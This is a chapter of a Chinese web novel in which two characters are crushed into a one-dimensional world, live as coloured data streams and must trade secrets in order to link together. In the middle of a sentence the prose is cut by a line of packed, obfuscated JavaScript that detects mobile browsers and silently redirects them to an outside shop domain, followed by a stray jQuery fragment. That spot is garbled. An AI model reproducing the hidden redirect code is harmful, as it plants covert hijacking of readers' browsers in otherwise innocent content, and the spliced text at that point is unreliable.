沈行舟从未想过,压扁竟然是一种听觉上的体验。
那是一种尖锐到令人发疯的啸叫声,就像是无数只指甲同时刮擦过黑板,又像是老式电视机关闭时,电流被强行挤压进那一抹逐渐变细的亮光里。
视野中的世界正在发生一场恐怖的折叠。
“趴下……不对——”
沈行舟试图大喊,但声音已经被压成了扁平的杂音。他死死抓住谢灼,感觉两人的身体像是一根被拉到极致的皮筋,正在无限地变长、变细。
【警告:Z轴丢失。】
【警告:Y轴正在坍缩……宽高度数据无法读取。】
上下左右的空间都在消失。
那些立体的方块被压成了纸片,纸片被压成了线条,最后连线条都被挤压得粉碎。
“啪。”
一声轻响。
就像是世界尽头的灯被人随手关掉了。
天地合拢。
……
寂静。
绝对的、死一般的寂静。
沈行舟觉得自己应该还是醒着的,但他找不到自己的眼睛在哪里,也感觉不到手脚的存在。
那种感觉很奇妙,他仿佛变成了一个纯粹的意识点,悬浮在一片虚无之中。没有重力,没有冷热,甚至没有方向的概念。
不,还是有方向的。
只有两个方向。
向前,或者向后。
沈行舟试着“看”向四周。
视野里没有黑暗,也没有光明,只有一条贯穿了整个宇宙的、无限延伸的细线。
这条线并没有颜色,或者说,它包含了所有的颜色,像是一条被拉得极长、极细的光谱。
“这是……哪儿?”
他试图发声,却发现自己没有声带,也没有嘴巴。他的意念在这条线上激起了一圈微弱的涟漪,像是一段电波信号,顺着线条传了出去。
【滋滋——】
熟悉的电流声在意识深处响起,是大哲学家独特的嗓音。只不过这一次,它的声音不再带有那种只有在空旷大厅里才有的回响,而是变得扁平,像是直接刻录在沈行舟的脑回路上。
【欢迎来到芝诺的领域。】
系统声音里透着一股悲悯:
【在这里,飞矢不动。你永远无法到达终点,因为在一条线上,距离是无限可分的。】
【当前维度:1D。】
【当前状态:一段在此刻波动的频率。】
一维?
沈行舟愣住了。
他变成了……
一条线段?
那谢灼呢?
他下意识地想要找人。
“谢灼?”他在意识里呼喊,“听得见吗?你在哪?”
在这个只有长度的世界里,他看不见任何人形的轮廓。
但他能感觉到。
在他的“前方”——如果那个方向可以被称为前方的话——有一段异常强烈的波动。
那是一段极其狂躁、滚烫、锋利的数据流。
在沈行舟的感知里,那段数据呈现出一种惊心动魄的猩红色。它像是一把尖锐的锥子,正顶在最前面,替他劈开前方那未知的黑暗。
那是谢灼。
“嗡——”
那段红色的波段似乎感应到了身后的躁动。它停顿了一下,然后传来了一阵回馈。
沈行舟感觉自己这段苍白平稳的白色波段,被前方传来的震动带得颤抖起来。
“我在,先生。”
紧接着,又是一阵更强烈的震动:“跟着我就行。”
——那可太好了,我当个挂件就行。
沈行舟快乐的让自己这段白色的数据流,贴在前方那段红色数据流的尾部。他回应了一次震动:“冲吧!”
然而,帅不过三秒。红色线段似乎察觉到了某种异常,猛地来了一个急刹车,定在了原地。后方的沈行舟根本来不及反应,整个波段像是一根被极速压缩的弹簧——
“Biu——!”
沈行舟一头撞在了谢灼的数据流尾端,巨大的冲力把他的前端都撞成了波浪线,甚至把他撞得回弹了一下。
大哲学家幽幽道:【检测到单行道交通事故。】
【事故判定:追尾。后车未保持安全数据车距。全责方:沈行舟。】
沈行舟被撞得七荤八素,波段都在乱颤:“谢灼,你停下来之前,先震动一下。”
谢灼传递回来一股紧绷的频率:“先生,前面有东西。”
在他的视野中,无限延伸的直线上,赫然出现了一个孤零零的绿点。
在三维世界,这不过是一粒微尘。但在只有一条路的一维世界,这就是一座不可逾越的大山。
狭路相逢。
那个绿点显然是这里的原住民,它原地蹦跶了两下,发出了一阵高频震动:
“嗡嗡嗡——(此路是我开)!”
“滋滋滋——(留下买路财)!”
谢灼还是头一次被一个像素点给劫了道。
那段红色的数据流瞬间暴怒,颜色红得以此要滴出血来。但他没有手拔刀,也没有腿踢人。
【过——载——】
红线瞬间升温,变得滚烫无比,试图化身为一根高热的电烙铁,直接把前面那个绿点给烫化了。
“嘶——!烫烫烫!”
贴在谢灼屁股后面的沈行舟遭了殃,被这股突如其来的高温烫得波段卷曲。
谢灼立刻收敛了温度,传递回一股焦急的震动。
只见眼前的绿点似乎也捕捉到了他们的波段,它也震动了一下,然后飞快地朝着远离他们的方向逃去。
“怕我?” 谢灼心念一动。
他立刻化作一道红色的闪电冲了出去。那绿点根本来不及反应,就像是一滴水融入了大海,绿点在接触到谢灼前端的瞬间,便被彻底吞噬,消失了。
随着绿点消失,谢灼感觉到自己这段数据流似乎壮大了一丝。
他一说话,传递出的震动波段都比刚才更“长”了点。
沈行舟稀奇地感受着这种变化,一个古老而经典的游戏逻辑浮现在他脑海里:这不就是“大鱼吃小鱼”吗?
接下来的路途印证了他的猜想。
一路上,谢灼又吞噬了不少拦路的、比他短小的各色光点,而他自身的数据流也变得越来越长,越来越凝实。
走了许久,一段蓝色正静静地立在前方。
谢灼试探性地发出一阵威胁的震动。
然而,那蓝色的点并没有像之前的小点一样逃跑,反而亮了一下,径直朝着他们冲了过来!
“前面那东西比我们长?”沈行舟立刻反应过来。他灵光一现,顶住谢灼的尾巴:“这样,我们连在一块。”
脑海里嗡嗡声响起:【链接失败。】
【链接条件:需要双方共享与对方相关的,‘存在’的核心数据,即——秘密。】
秘密?
沈行舟犯了难,与谢灼相
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17618629|206138||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
关的秘密,什么才算数?
但危机由不得他思考,他脑袋里想到啥,即刻脱口而出:“刚见到你那几天,煮萝卜汤的时候,我知道你包里有东西,当时是故意骗你把饼拿出来,对不起!”
信息传递出去的瞬间,他立刻感觉到前方那段红色的数据流陷入了一阵混乱的波动。沈行舟心里咯噔一下,担心起来:坏了,这小子不会生气了吧?
他越想越觉得愧疚。自己当初做的确实不是人事,把人从雪地里拖拽,扔进锅里煮,嘴里还没一句正经话。虽然可以说事急从权,但这些事确实是他做的。
——不会真给谢灼留下什么心理阴影了吧,那自己可真是缺了大德了。
他连忙补充了一段充满歉意的震动:“抱歉抱歉,是我不对。我之后肯定会对你好的,加倍的好!”
然而,谢灼的意识里却是山崩海啸。
沈行舟刚刚说的话,他从头到尾一点都没听进去。
秘密。
他有太多秘密。
山神庙里那个慌乱而滚烫的吻。
烟花之下,那人回头一笑时,自己几乎要跳出胸膛的心跳。
一千多个日日夜夜里,心底升起的那些不可告人的念头……
他突然感觉心脏一阵瞬痛。
不是现在,不能是现在。
他不能说。
至少,要等到能拥抱他的时候,要等到能看到他的时候,再说。
谢灼试图把话都吞回去,但一份不成熟的酸涩还是卷了上来。他终是低低道:“……昨天晚上,先生喝醉了,靠着我睡了很久。”
沈行舟接收到这段频率,愧疚感瞬间达到了顶峰。
他脑海里立刻浮现出一副画面:自己撒酒疯,谢灼一看就是第一受害者,估计自己给他惹了不少麻烦。
而谢灼心胸宽广,根本不和醉鬼计较,甚至还任劳任怨地当了一晚上的靠枕。
这孩子是真实诚,连做好事都不和他说。
相比起来,自己这个成年人整日里不是插科打诨就是惹是生非,确实没起到什么好榜样。
以后改正以后改正。
【检测到双向数据流握手成功。】
【链接已建立。】
那一瞬间,沈行舟感觉自己的“思维”被一片汪洋大海淹没了。他抓不住那些具体的经历,但能感觉到海量的数据在一瞬间冲刷过他的意识。
那是谢灼十几年来所有的情感,所投射出的复杂碎片。
寒冷的,痛苦的,温暖的……
还有一捧极其浓烈、甜美、却又带着无尽酸涩的……不知名的情绪。
他一时间消化不了,却觉得自己都被这片海染红了。
“先生,它要跑了。”
谢灼的意识将他唤醒。
那段蓝线似乎察觉到了威胁,正在后退。
沈行舟反应过来,道:“跑?现在你可跑不掉了。”
他猛地发力,像推土机一样推着谢灼向前冲:“直接顶过去!撞飞它!”
那段蓝线在接触到他们前端的瞬间,便被一口吞下。
他能感受到身后的人的每一次震动。
谢灼只觉得自己的心,跳的越来越快。
他跑了起来。
在这条荒谬、孤寂、只有前后的一维线上,一红一白两段频率紧紧咬合在一起。
既然不能回头,那就向前。
向着这条线的尽头,那个不知是毁灭还是重生的终点,全速冲刺。